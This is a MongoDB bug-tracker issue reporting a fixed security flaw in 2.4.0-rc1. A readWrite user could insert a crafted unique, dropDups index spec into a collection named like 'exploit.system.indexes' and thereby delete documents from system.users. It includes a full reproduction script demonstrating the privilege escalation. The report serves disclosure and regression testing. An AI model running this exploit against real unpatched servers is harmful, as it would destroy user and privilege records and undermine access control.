Uploaded image for project: 'Core Server'
  1. Core Server
  2. SERVER-8802

readWrite users can delete privilege documents via ensureIndex

    • Type: Icon: Bug Bug
    • Resolution: Done
    • Priority: Icon: Major - P3 Major - P3
    • 2.4.0-rc2
    • Affects Version/s: 2.4.0-rc1
    • Component/s: Security
    • None

      There is (arguably) an error in the logic that decides whether to associate ActionType::ensureIndex with an insert request. A readWrite user can exploit this error to initiate a dropDups index build on system.users by writing to a collection named e.g. exploit.system.indexes.

      Reproduce with:

      conn = MongoRunner.runMongod({auth:''})
      
      adminDb = conn.getDB("admin")
      testDb = conn.getDB("test")
      adminDb.addUser({user:'admin', pwd:'x', roles:['userAdminAnyDatabase']})
      adminDb.auth('admin','x')
      adminDb.addUser({user:'mallory', pwd:'x', roles:[], otherDBRoles:{test:['readWrite']}})
      testDb.addUser({user:'user1', pwd:'x', roles:['read']})
      testDb.addUser({user:'user2', pwd:'x', roles:['read']})
      assert.eq(2, testDb.system.users.count())
      adminDb.logout()
      
      adminDb.auth('mallory','x')
      testDb.exploit.system.indexes.insert({ns: "test.system.users", key: { haxx: 1.0 }, name: "haxx_1", unique: true, dropDups: true})
      adminDb.logout()
      
      adminDb.auth('admin','x')
      // The following fails with "assert: [2] != [1] are not equal : undefined"
      assert.eq(2, testDb.system.users.count()) 
      
      MongoRunner.stopMongod(conn)
      

            Assignee:
            spencer@mongodb.com Spencer Brody (Inactive)
            Reporter:
            rassi J Rassi
            Votes:
            0 Vote for this issue
            Watchers:
            4 Start watching this issue

              Created:
              Updated:
              Resolved: